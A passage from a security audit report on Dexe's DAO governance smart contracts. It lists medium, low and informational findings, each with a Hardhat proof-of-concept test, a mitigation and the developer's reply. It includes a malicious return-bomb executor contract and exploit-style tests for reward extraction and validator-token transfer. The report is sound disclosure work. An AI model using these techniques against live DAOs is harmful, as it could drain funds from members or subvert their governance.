      assert.equal(
        (await govPool.getTotalVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote))[0].toFixed(),
        totalVotes2Deg // fails here as delegated votes only being counted from the first delegation
      );
    });
  });
```

Run with: `npx hardhat test --grep "audit testing 3 layer revote delegation"`

Recommended Mitigation: If `delegatedVotingAllowed == false`, `GovPoolVote::revoteDelegated()` should automatically flow delegated votes through multiple tiers of delegation down to the primary voter. If the project doesn't want to implement this, it should be made clear to users that their delegated votes will have no effect if the address they delegated to also delegates and doesn't vote - many users who come from countries that use Preferential voting systems will naturally expect their votes to flow through multiple layers of delegation.

Dexe: We have chosen not to implement this by design; there are many voting systems out there, we prefer explicitness and transparency. Supporting multiple tiers of delegation would increase the system's complexity and

introduce DOS attack vectors (for example if a chain of delegations is too large to fit into the block).

7.3.9 Users can use delegated treasury voting power to vote on proposals that give them more delegated treasury voting power

Description: `GovPoolCreate::_restrictInterestedUsersFromProposal()` allows users to be restricted from voting on proposals that undelegate treasury voting power from a user, however no such restriction applies regarding voting on proposals that delegate treasury voting power to a user. This allows users who have received delegated treasury voting power to use that same power to vote on proposals that give them even more delegated treasury power.

Impact: Users can use delegated treasury voting power to vote for proposals that give them even more delegated treasury voting power - seems dangerous especially since these can be internal proposals.

Proof of Concept: N/A

Recommended Mitigation: Option 1) `GovPoolCreate::_restrictInterestedUsersFromProposal()` should allow users to be restricted from voting on proposals that delegate treasury voting power.

Option 2) It might be simpler to just hard-code this restriction in; if a user has delegated treasury voting power, then they can't vote on proposals that increase/decrease this power.

The principle would be that users who receive delegated treasury voting power only keep this power at the pleasure of the DAO, and they can never use this power to vote on proposals that increase/decrease this power, for themselves or for other users.

Right now it is dependent upon the user creating the proposals to restrict the correct users from voting which is error-prone, and only works for decreasing, not increasing, this power.

Dexe: Fixed in PR168.

Cyfrin: Dexe has chosen to allow restricted users to vote on such proposals, just not with their delegated treasury. The delegated treasury of restricted users is subtracted from the required quorum calculation and restricted users can't vote with it on those proposals. This applies to delegating/undelegating treasury & burning expert nfts, such that users who have received delegated treasury power can't use it to delegate themselves more treasury power.

However, Dexe has not fully implemented the recommendation that: *"they can never use this power to vote on proposals that increase/decrease this power, for themselves **or for other users**."* A user with delegated treasury power can get around the new restrictions by creating a proposal to delegate treasury power to another address they control, then voting on that proposal with their existing address that has delegated treasury power.

Cyfrin continues to recommend that users who have received delegated treasury voting power are not allowed to vote on any proposals that delegate/undelegate treasury voting power, both for themselves but also for other users.

7.3.10 Changing `nftMultiplier` address by executing a proposal that calls `GovPool::setNftMultiplierAddress()` can deny existing users from claiming pending nft multiplier rewards

Description: `GovPool::setNftMultiplierAddress()` which can be called by an internal proposal updates the nft multiplier address to a new contract.

`GovPoolRewards::_getMultipliedRewards()` calls `GovPool::getNftContracts()` to retrieve the nft multiplier address when calculating rewards. If the contract has been updated to a different one any unclaimed nft multiplier rewards will no longer exist.

Impact: Users will lose their unclaimed nft multiplier rewards when a proposal gets required votes to execute `GovPool::setNftMultiplierAddress()`.

Proof of Concept: N/A

Recommended Mitigation: The address of the current nft multiplier contract could be saved for each proposal when the proposal is created, such that updating the global nft multiplier address would only take effect for new proposals.

If this is indeed the intended design, consider implementing user notifications to alert all users with unclaimed NFT multiplier rewards to collect them before the proposal voting period concludes. Furthermore, consider incorporating explicit disclaimers in the documentation to inform users that voting on a proposal aimed at updating multiplier rewards may result in the forfeiture of unclaimed rewards. This transparency will help users make informed decisions and mitigate potential unexpected outcomes.

Dexe: Acknowledged; this is expected behavior. If a DAO decides to add/remove the NFT multiplier, it should affect every DAO member regardless. This actually works in two ways: if a DAO decides to add an NFT multiplier, every unclaimed reward will be boosted.

7.3.11 Proposal creation uses incorrect `ERC721Power::totalPower` as nft power not updated before snapshot

Description: If `GovPool` is configured to use `ERC721Power` nft, when the proposal is created it doesn't recalculate the nft power, just reads `ERC721Power::totalPower` straight from storage.

This is incorrect as it will be reading an old value; it has to recalculate nft power first then read it to read the correct, current value. There are tests in `GovUserKeeper` that do exactly this, before calling `GovUserKeeper::createNftPowerSnapshot()` the tests call `GovUserKeeper::updateNftPowers()`. But it looks like in the actual codebase there is never a call to `GovUserKeeper::updateNftPowers()`, only in the tests.

Impact: Proposals are created with an incorrect & potentially much greater `ERC721Power::totalPower`. This is used as the divisor in GovUserKeeper::getNftsPowerInTokensBySnapshot() hence a stale larger divisor will incorrectly reduce the voting power of nfts.

Proof of Concept: First comment out this check to allow the test to update the nft in-place.

Then add the PoC to `GovPool.test.js` under section `describe("getProposalState()", () => {`:

```
    it("audit proposal creation uses incorrect ERC721Power totalPower as nft power not updated before
    ↪  snapshot", async () => {
      let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

      // required so we can call .toFixed() on BN returned outputs
      ERC721Power.numberFormat = "BigNumber";

      // ERC721Power::totalPower should be zero as no nfts yet created
      assert.equal((await nftPower.totalPower()).toFixed(), "0");

      // so proposal doesn't need to go to validators
      await changeInternalSettings(false);

      // set nftPower as the voting nft
      // need to comment out check preventing updating existing
      // nft address in GovUserKeeper::setERC721Address()
      await impersonate(govPool.address);
      await userKeeper.setERC721Address(nftPower.address, wei("33000"), 33, { from: govPool.address
      ↪  });

      // create a new VOTER account and mint them 5 power nfts
      let VOTER = await accounts(10);
      await nftPower.safeMint(VOTER, 1);
      await nftPower.safeMint(VOTER, 2);
      await nftPower.safeMint(VOTER, 3);
      await nftPower.safeMint(VOTER, 4);
      await nftPower.safeMint(VOTER, 5);

      // advance to the approximate time when nft power calculation starts
```

```
    await setTime(powerNftCalcStartTime);

    // save existing nft power after power calculation has started
    let nftTotalPowerBefore = "450000000000000000000000000000";
    assert.equal((await nftPower.totalPower()).toFixed(), nftTotalPowerBefore);

    // advance time; since none of the nfts have collateral deposited
    // their power will decrement
    await setTime((await getCurrentBlockTime()) + 10000);

    // create a proposal which takes a snapshot of the current nft power
    // but fails to update it before taking the snapshot, so uses the
    // old incorrect power
    let proposalId = 2;

    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
    );

    // verify the proposal snapshot saved the nft totalPower before the time
    // was massively advanced. This is incorrect as the true totalPower is 0
    // by this time due to the nfts losing power. The proposal creation process
    // fails to recalculate nft power before reading ERC721Power::totalPower
    assert.equal((await userKeeper.nftSnapshot(2)).toFixed(), nftTotalPowerBefore);

    // call ERC721::recalculateNftPower() for the nfts, this will update
    // ERC721Power::totalPower with the actual current total power
    await nftPower.recalculateNftPower("1");
    await nftPower.recalculateNftPower("2");
    await nftPower.recalculateNftPower("3");
    await nftPower.recalculateNftPower("4");
    await nftPower.recalculateNftPower("5");

    // verify that the true totalPower has decremented to zero as the nfts
    // lost all their power since they didn't have collateral deposited
    assert.equal((await nftPower.totalPower()).toFixed(), "0");

    // the proposal was created with an over-inflated nft total power
    // GovUserKeeper has a function called updateNftPowers() that is onlyOwner
    // meaning it is supposed to be called by GovPool, but this function
    // is never called anywhere. But in the GovUserKeeper unit tests it is
    // called before the call to createNftPowerSnapshot() which creates
    // the snapshot reading ERC721Power::totalPower
  });
```

Run with: `npx hardhat test --grep "audit proposal creation uses incorrect ERC721Power totalPower"`

Recommended Mitigation: As there could be many nfts calling `GovUserKeeper::updateNftPowers()` one-by-one is not an efficient way of doing this update. A solution may involve refactoring of how power nfts work.

Dexe: Fixed in PR172, PR173. Removed snapshotting.

Cyfrin: Verified.

7.3.12 A misbehaving validator can influence voting outcomes even after their voting power is reduced to 0

Description: Validators are trusted parties appointed by DAO as a second-level check to prevent malicious proposals from getting executed. The current system is designed with the following constraints:

1. Executing `GovValidators::changeBalances` is the only way to assign or withdraw voting power to validators
2. Any person holding a validator token balance gets to be a validator
3. `GovValidatorsVote::vote` ensures that only token balances at the snapshotId when the validator proposal was created is used for voting

This design does not cover security risks associated with a. loss of private keys b. inactive validator c. misbehaving validator

While there is a provision to expel a validator by reducing his validator token balance to 0, the current system does not have a provision to prevent a validator from voting on active proposals with a back-dated snapshotId. If a validator is not aligned with the interests of the DAO and is expelled by voting, we believe it is a security risk to allow such validators to influence voting outcomes of active proposals

Impact: A validator who no longer fulfils the trusted role of protecting DAO's best interests still holds control on DAO's future based on past voting power.

Proof of Concept: Consider the following scenario:

- Alice is a validator with 10% voting power in DAO A
- Alice lost her private keys
- Validators vote to execute `GovValidators::changeBalances` with Alice balance reduced to 0
- Critical proposal P that is currently active with snapshotId where Alice has 10% voting power
- Validators think P is not in the best interest of DAO and vote against
- Alice's keys now controlled by hacker Bob who votes with 10% voting power
- Proposal hits quorum and gets passed

This is a security risk for the DAO.

Recommended Mitigation: Consider adding `isValidator` check for `vote` and `cancelVote` functions in `GovValidator`. This would prevent a validator with zero current balance to influence voting outcomes based on their back-dated voting power.

Dexe: Acknowledged; we are using validator snapshotting so in past proposals they might have some voting power. We won't change this behavior since otherwise removing the validator should also remove their votes from the ongoing proposals (not ideal to do on-chain).

7.3.13 Voting to change `RewardsInfo::voteRewardsCoefficient` has an unintended side-effect of retrospectively changing voting rewards for active proposals

Description: `GovSettings::editSettings` is one of the functions that can be executed via an internal proposal. When this function is called, setting are validated via `GovSettings::_validateProposalSettings`. This function does not check the value of `RewardsInfo::voteRewardsCoefficient` while updating the settings. There is neither a floor nor a cap for this setting.

However, we've noted that this coefficient amplifies voting rewards as calculated in the `GovPoolRewards::_getInitialVotingRewards` shown below.

```
function _getInitialVotingRewards(
    IGovPool.ProposalCore storage core,
    IGovPool.VoteInfo storage voteInfo
) internal view returns (uint256) {
    (uint256 coreVotes, uint256 coreRawVotes) = voteInfo.isVoteFor
        ? (core.votesFor, core.rawVotesFor)
        : (core.votesAgainst, core.rawVotesAgainst);

    return
        coreRawVotes.ratio(core.settings.rewardsInfo.voteRewardsCoefficient, PRECISION).ratio(
            voteInfo.totalVoted,
            coreVotes
        ); //@audit -> initial rewards are calculated proportionate to the vote rewards coefficient
}
```

This has the unintended side-effect that for the same proposal, different voters can get paid different rewards based on when the reward was claimed. In the extreme case where `core.settings.rewardsInfo.voteRewardsCoefficient` is voted to 0, note that we have a situation where voters who claimed rewards before the update got paid as promised whereas voters who claimed later got nothing.

Impact: Updating `rewardsCoefficient` can lead to unfair reward distribution on old proposals. Since voting rewards for a given proposal are communicated upfront, this could lead to a situation where promised rewards to users are not honoured.

Proof of Concept: N/A

Recommended Mitigation: Consider freezing `voteRewardMultiplier` and the time of proposal creation. A prospective update of this setting via internal voting should not change rewards for old proposals.

Dexe: Acknowledged; similar issue to changing the nftMultiplier address. It is our design that if the DAO decides to change these parameters, this change is applied to all proposals including those in the past.

7.3.14 Proposal execution can be DOSed with return bombs when calling untrusted execution contracts

Description: `GovPool::execute` does not check for return bombs when executing a low-level call. A return bomb is a large bytes array that expands the memory so much that any attempt to execute the transaction will lead to an `out-of-gas` exception.

This can create potentially risky outcomes for the DAO. One possible outcome is "single sided" execution, ie. "actionsFor" can be executed when voting is successful while "actionsAgainst" can be DOSed when voting fails.

A clever proposal creator can design a proposal in such a way that only `actionsFor` can be executed and any attempts to execute `actionsAgainst` will be permanently DOS'ed (refer POC contract). T

This is possible because the `GovPoolExecute::execute` does a low level call on potentially untrusted `executor` assigned to a specific action.

```
    function execute(
        mapping(uint256 => IGovPool.Proposal) storage proposals,
        uint256 proposalId
    ) external {
        .... // code

        for (uint256 i; i < actionsLength; i++) {
>            (bool status, bytes memory returnedData) = actions[i].executor.call{
                value: actions[i].value
            }(actions[i].data); //@audit returnedData could expand memory and cause out-of-gas exception

            require(status, returnedData.getRevertMsg());
        }
    }
```

Impact: Voting actions can be manipulated by a creator causing two potential issues:

1. Proposal actions can never be executed even after successful voting
2. One-sided execution where some actions can be executed while others can be DOSed

Proof of Concept: Consider the following malicious proposal action executor contract. Note that when the proposal passes (`isVotesFor` = true), the `vote()` function returns empty bytes and when the proposal fails (`isVotesFor` = false), the same function returns a huge bytes array, effectively causing an "out-of-gas" exception to any caller.

```
contract MaliciousProposalActionExecutor is IProposalValidator{

    function validate(IGovPool.ProposalAction[] calldata actions) external view override returns (bool
    ↪   valid){
        valid = true;
    }

    function vote(
        uint256 proposalId,
        bool isVoteFor,
        uint256 voteAmount,
        uint256[] calldata voteNftIds
    ) external returns(bytes memory result){

    if(isVoteFor){
        // @audit implement actions for successful vote
            return ""; // 0 bytes
        }
    else{
        // @audit implement actions for failed vote

        // Create a large bytes array
                assembly{
                    revert(0, 1_000_000)
                }
    }

   }
}
```

Recommended Mitigation: Consider using `ExcessivelySafeCall` while calling untrusted contracts to avoid return bombs.

Dexe: Acknowledged; we are aware of the fact that proposals may be stuck in the “succeeded” state. But probably we won’t alter this behavior on-chain since a DAO already decided to complete this proposal. Might add some labels on the front end.

7.4 Low Risk

7.4.1 Unsafe downcast from uint256 to uint56 can silently overflow resulting in incorrect voting power for validators

Description: `GovValidatorsCreate::createInternalProposal()` L38 & `createExternalProposal()` L67 performs an unsafe downcast from `uint256` to `uint56` which can silently overflow.

Impact: If the overflow occurs proposals will be created with an incorrect `snapshotId` giving incorrect voting power to the validators.

Recommended Mitigation: Use OpenZeppelin SafeCast so that if the downcast would overflow, it will revert instead.

Dexe: Acknowledged. uint56 can't be reached with incremental snapshots. It is that much: 72,057,594,037,927,935

7.4.2 Missing storage gap in `AbstractERC721Multiplier` can lead to upgrade storage slot collision

Description: `AbstractERC721Multiplier` is an upgradeable contract which has state but no storage gaps and has 1 child contract with its own state `DexeERC721Multiplier`.

Impact: Should an upgrade occur where the `AbstractERC721Multiplier` contract has additional state added to storage, a storage collision can occur where storage within the child contract `DexeERC721Multiplier` is overwritten.

Proof of Concept: N/A

Recommended Mitigation: Add a storage gap to the `AbstractERC721Multiplier` contract.

Dexe: Fixed in PR164.

Cyfrin: Verified.

7.4.3 Use low-level `call()` to prevent gas griefing attacks when returned data not required

Description: Using `call()` when the returned data is not required unnecessarily exposes to gas griefing attacks from huge returned data payload. For example:

```
(bool status, ) = payable(receiver).call{value: amount}("");
require(status, "Gov: failed to send eth");
```

Is the same as writing:

```
(bool status, bytes memory data ) = payable(receiver).call{value: amount}("");
require(status, "Gov: failed to send eth");
```

In both cases the returned data will have to be copied into memory exposing the contract to gas griefing attacks, even though the returned data is not required at all.

Impact: Contracts unnecessarily expose themselves to gas griefing attacks.

Recommended Mitigation: Use a low-level call when the returned data is not required, eg:

```
bool status;
assembly {
    status := call(gas(), receiver, amount, 0, 0, 0, 0)
}
```

Consider using ExcessivelySafeCall.

Dexe: Acknowledged; calls to legitimate contracts will not revert. However, if the contract is corrupt it can just panic and achieve the same result.

7.4.4 Small delegations prevent delegatee from receiving micropool rewards while still rewarding delegator

Description: Small delegations prevent delegatee from receiving micropool rewards while still rewarding delegator.

Impact: Delegatee doesn't receive micropool rewards but the delegator is able to extract them via delegating in small amounts. This is an interesting edge case that we haven't figured out if it is seriously exploitable but it does break a core invariant of similar systems, namely that many small operations should have the same effect as one large operation. In this case multiple small delegations result in a *different* effect that one large delegation breaking this core system invariant.

Proof of Concept: Add PoC to `GovPool.test.js` under section `describe("getProposalState()", () => {`:

```
    it("audit small delegations prevent delegatee from receiving micropool rewards while still
    ↪  rewarding delegator", async () => {
      // so proposals doesn't need to go to validators
      await changeInternalSettings(false);

      // required for executing the proposals
      await govPool.deposit(govPool.address, wei("200"), []);

      // create 4 proposals; only the first 2 will be executed
      // create proposal 1
      await govPool.createProposal(
        "example.com",
        [[govPool.address, 0, getBytesGovVote(4, wei("100"), [], true)]],
        [[govPool.address, 0, getBytesGovVote(4, wei("100"), [], false)]]
      );
      // create proposal 2
      await govPool.createProposal(
        "example.com",
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
      );
      // create proposal 3
      await govPool.createProposal(
        "example.com",
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
      );
      // create proposal 4
      await govPool.createProposal(
        "example.com",
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
        [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
      );

      let proposal1Id = 2;
      let proposal2Id = 3;

      let DELEGATEE  = await accounts(10);
      let DELEGATOR1 = await accounts(9);
      let DELEGATOR2 = await accounts(8);
      let DELEGATOR3 = await accounts(7);

      let delegator1Tokens = wei("500000000000000000000");
      let delegator2Tokens = wei("1500000000000000000000");
```

```
let delegator3Tokens = "4";
let delegateeReward  = wei("4000000000000000000");
let delegator1Reward = wei("4000000000000000000");
let delegator2Reward = wei("12000000000000000000");
let delegator3Reward = "3";

// mint tokens & deposit them to have voting power
await token.mint(DELEGATOR1, delegator1Tokens);
await token.approve(userKeeper.address, delegator1Tokens, { from: DELEGATOR1 });
await govPool.deposit(DELEGATOR1, delegator1Tokens, [], { from: DELEGATOR1 });
await token.mint(DELEGATOR2, delegator2Tokens);
await token.approve(userKeeper.address, delegator2Tokens, { from: DELEGATOR2 });
await govPool.deposit(DELEGATOR2, delegator2Tokens, [], { from: DELEGATOR2 });
await token.mint(DELEGATOR3, delegator3Tokens);
await token.approve(userKeeper.address, delegator3Tokens, { from: DELEGATOR3 });
await govPool.deposit(DELEGATOR3, delegator3Tokens, [], { from: DELEGATOR3 });

// for proposal 1, only DELEGATOR1 & DELEGATOR2 will delegate to DELEGATEE
await govPool.delegate(DELEGATEE, delegator1Tokens, [], { from: DELEGATOR1 });
await govPool.delegate(DELEGATEE, delegator2Tokens, [], { from: DELEGATOR2 });

// DELEGATEE votes on proposal 1
await govPool.vote(proposal1Id, true, "0", [], { from: DELEGATEE });

// verify DELEGATEE's voting
assert.equal(
  (await govPool.getUserVotes(proposal1Id, DELEGATEE, VoteType.PersonalVote)).totalRawVoted,
  "0" // personal votes remain the same
);
assert.equal(
  (await govPool.getUserVotes(proposal1Id, DELEGATEE, VoteType.MicropoolVote)).totalRawVoted,
  wei("20000000000000000000") // delegated votes included
);
assert.equal(
  (await govPool.getTotalVotes(proposal1Id, DELEGATEE, VoteType.PersonalVote))[0].toFixed(),
  wei("20000000000000000000") // delegated votes included
);

// advance time
await setTime((await getCurrentBlockTime()) + 1);

// proposal 1 now in SucceededFor state
assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

// execute proposal 1
await govPool.execute(proposal1Id);

// verify pending rewards via GovPool::getPendingRewards()
let pendingRewards = await govPool.getPendingRewards(DELEGATEE, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, delegateeReward);
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR1, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");
```

```
pendingRewards = await govPool.getPendingRewards(DELEGATOR2, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR3, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

// verify pending delegator rewards via GovPool::getDelegatorRewards()
pendingRewards = await govPool.getDelegatorRewards([proposal1Id], DELEGATOR1, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
assert.deepEqual(pendingRewards.expectedRewards, [delegator1Reward]);

pendingRewards = await govPool.getDelegatorRewards([proposal1Id], DELEGATOR2, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
assert.deepEqual(pendingRewards.expectedRewards, [delegator2Reward]);

pendingRewards = await govPool.getDelegatorRewards([proposal1Id], DELEGATOR3, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
assert.deepEqual(pendingRewards.expectedRewards, ["0"]);

// reward balances 0 before claiming rewards
assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), "0");
assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), "0");
assert.equal((await rewardToken.balanceOf(DELEGATOR2)).toFixed(), "0");

// claim rewards
await govPool.claimRewards([proposal1Id], { from: DELEGATEE });
await govPool.claimMicropoolRewards([proposal1Id], DELEGATEE, { from: DELEGATOR1 });
await govPool.claimMicropoolRewards([proposal1Id], DELEGATEE, { from: DELEGATOR2 });

// verify reward balances after claiming rewards
assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), delegateeReward);
assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), delegator1Reward);
assert.equal((await rewardToken.balanceOf(DELEGATOR2)).toFixed(), delegator2Reward);

// for proposal 2, DELEGATOR3 will additionally delegate a small amount to DELEGATEE
// when delegating small token amounts (max 4 in this configuration), DELEGATOR3 is
// able to extract micropool rewards while not giving any micropool rewards to DELEGATEE
// nor impacting the micropool rewards of the other delegators
await govPool.delegate(DELEGATEE, delegator3Tokens, [], { from: DELEGATOR3 });

// DELEGATEE votes on proposal 2
await govPool.vote(proposal2Id, true, "0", [], { from: DELEGATEE });

// verify DELEGATEE's voting
assert.equal(
  (await govPool.getUserVotes(proposal2Id, DELEGATEE, VoteType.PersonalVote)).totalRawVoted,
  "0" // personal votes remain the same
);
```

```
assert.equal(
  (await govPool.getUserVotes(proposal2Id, DELEGATEE, VoteType.MicropoolVote)).totalRawVoted,
  wei("20000000000000000000") + delegator3Tokens // DELEGATOR3 votes included
);
assert.equal(
  (await govPool.getTotalVotes(proposal2Id, DELEGATEE, VoteType.PersonalVote))[0].toFixed(),
  wei("20000000000000000000") + delegator3Tokens // DELEGATOR3 votes included
);

// advance time
await setTime((await getCurrentBlockTime()) + 1);

// proposal 2 now in SucceededFor state
assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.SucceededFor);

// execute proposal 2
await govPool.execute(proposal2Id);

// verify pending rewards via GovPool::getPendingRewards()
pendingRewards = await govPool.getPendingRewards(DELEGATEE, [proposal2Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
// DELEGATEE doesn't receive any additional micropool rewards even though
// DELEGATOR3 is now delegating to them
assert.equal(pendingRewards.votingRewards[0].micropool, delegateeReward);
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR1, [proposal2Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR2, [proposal2Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR3, [proposal2Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

// verify pending delegator rewards via GovPool::getDelegatorRewards()
pendingRewards = await govPool.getDelegatorRewards([proposal2Id], DELEGATOR1, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
assert.deepEqual(pendingRewards.expectedRewards, [delegator1Reward]);

pendingRewards = await govPool.getDelegatorRewards([proposal2Id], DELEGATOR2, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
assert.deepEqual(pendingRewards.expectedRewards, [delegator2Reward]);
```

```
        pendingRewards = await govPool.getDelegatorRewards([proposal2Id], DELEGATOR3, DELEGATEE);
        assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
        assert.deepEqual(pendingRewards.isVoteFor, [true]);
        assert.deepEqual(pendingRewards.isClaimed, [false]);
        // DELEGATOR3 now gets micropool rewards even though DELEGATEE isn't getting
        // any additional rewards
        assert.deepEqual(pendingRewards.expectedRewards, ["3"]);

        // reward balances same as rewards from proposal 1
        assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), delegateeReward);
        assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), delegator1Reward);
        assert.equal((await rewardToken.balanceOf(DELEGATOR2)).toFixed(), delegator2Reward);

        // claim rewards
        await govPool.claimRewards([proposal2Id], { from: DELEGATEE });
        await govPool.claimMicropoolRewards([proposal2Id], DELEGATEE, { from: DELEGATOR1 });
        await govPool.claimMicropoolRewards([proposal2Id], DELEGATEE, { from: DELEGATOR2 });
        await govPool.claimMicropoolRewards([proposal2Id], DELEGATEE, { from: DELEGATOR3 });

        // verify reward balances after claiming rewards
        // for DELEGATEE, DELEGATOR1 & DELEGATOR2 balances have multiplied by 2 as they
        // received the exact same rewards; the participation of DELEGATOR3 did not result in
        // any additional rewards for DELEGATEE
        assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), wei("800000000000000000"));
        assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), wei("800000000000000000"));
        assert.equal((await rewardToken.balanceOf(DELEGATOR2)).toFixed(), wei("2400000000000000000"));

        // DELEGATOR3 was able to get micropool rewards by delegating to DELEGATEE while
        // ensuring that DELEGATEE didn't get any additional rewards
        assert.equal((await rewardToken.balanceOf(DELEGATOR3)).toFixed(), "3");

        // this doesn't seem to be seriously exploitable but it does break one of the core invariants
        // in similar systems: that doing a bunch of smaller operations should have the same outcome as
        // doing one equally big operation, eg: 25 different users each delegating 4 tokens to the voter
        // should have the same outcome as 1 user delegating 100 tokens to the voter? */
    });
```

Run with: `npx hardhat test --grep "audit small delegations prevent delegatee"`

Recommended Mitigation: Consider enforcing a minimum delegation amount similar to how there is a minimum voting amount.

Perhaps in `GovUserKeeper::delegateTokens()` L136 & `undelegateTokens()` L160 , enforce that `_micropoolsInfo[delegatee].tokenBalance == 0 || _micropoolsInfo[delegatee].tokenBalance > minimumVoteAmount`

By enforcing this here in both delegate & undelegate, this would prevent the situation where this state could be reached by delegating X, then undelegating Y such that X-Y > 0 but very small.

Dexe: Acknowledged; this is straightaway a precision error in calculations. Depending on the rewards configuration, 1 or 2 wei may get lost in the process.

7.5 Informational

7.5.1 `GovValidators` can transfer non-transferable `GovValidatorToken` to non-validators making them validators

Description: `GovValidators` can transfer non-transferable `GovValidatorToken` to non-validators making them validators.

Impact: Non-transferable tokens can be transferred making non-validators into validators. This is marked as INFO though as so far we haven't been able to find a way to get the `GovValidators` contract to actually make this call in practice, and it requires a validator to approve token spending for `GovValidatorToken` to the `GovValidators` contract.

Proof of Concept: Add to `GovValidators.test.js`:

```
describe("audit transfer nontransferable GovValidatorToken", () => {
  it("audit GovValidators can transfer GovValidatorToken to non-validators making them Validators",
  ↪  async () => {
    // SECOND is a validator as they have GovValidatorToken
    assert.equal(await validators.isValidator(SECOND), true);
    assert.equal((await validatorsToken.balanceOf(SECOND)).toFixed(), wei("100"));

    // NOT_VALIDATOR is a new address that isn't a validator
    let NOT_VALIDATOR = await accounts(3);
    assert.equal(await validators.isValidator(NOT_VALIDATOR), false);

    const { impersonate } = require("../helpers/impersonator");
    // SECOND gives approval to GovValidators over their GovValidatorToken
    await impersonate(SECOND);
    await validatorsToken.approve(validators.address, wei("10"), { from: SECOND });

    // GovValidators can transfer SECOND's GovValidatorToken to NON_VALIDATOR
    await impersonate(validators.address);
    await validatorsToken.transferFrom(SECOND, NOT_VALIDATOR, wei("10"), { from: validators.address
    ↪  });

    // this makes NON_VALIDATOR a VALIDATOR
    assert.equal((await validatorsToken.balanceOf(NOT_VALIDATOR)).toFixed(), wei("10"));
    assert.equal(await validators.isValidator(NOT_VALIDATOR), true);
  });
});
```

Run with: `npx hardhat test --grep "audit transfer nontransferable GovValidatorToken"`

Recommended Mitigation: Rethink the implementation of `GovValidatorsToken::_beforeTokenTransfer()` to allow minting & burning but prevent transfers.

Dexe: Fixed in commit dca45e5.

Cyfrin: Verified.

7.5.2 `UniswapV2Router::getAmountsOut()` based upon pool reserves allowing returned price to be manipulated via flash loan

Description: `PriceFeed` uses `UniswapV2PathFinder` which itself uses `UniswapV2Router::getAmountsOut()` & `getAmountsIn()` which are based upon pool reserves, allowing an attacker to manipulate the returned prices via flash loans.

Impact: An attacker can manipulate the returned prices via flash loans. Marked as Informational since `PriceFeed` doesn't appear to be used anywhere in current codebase, so there is no current impact on the system.

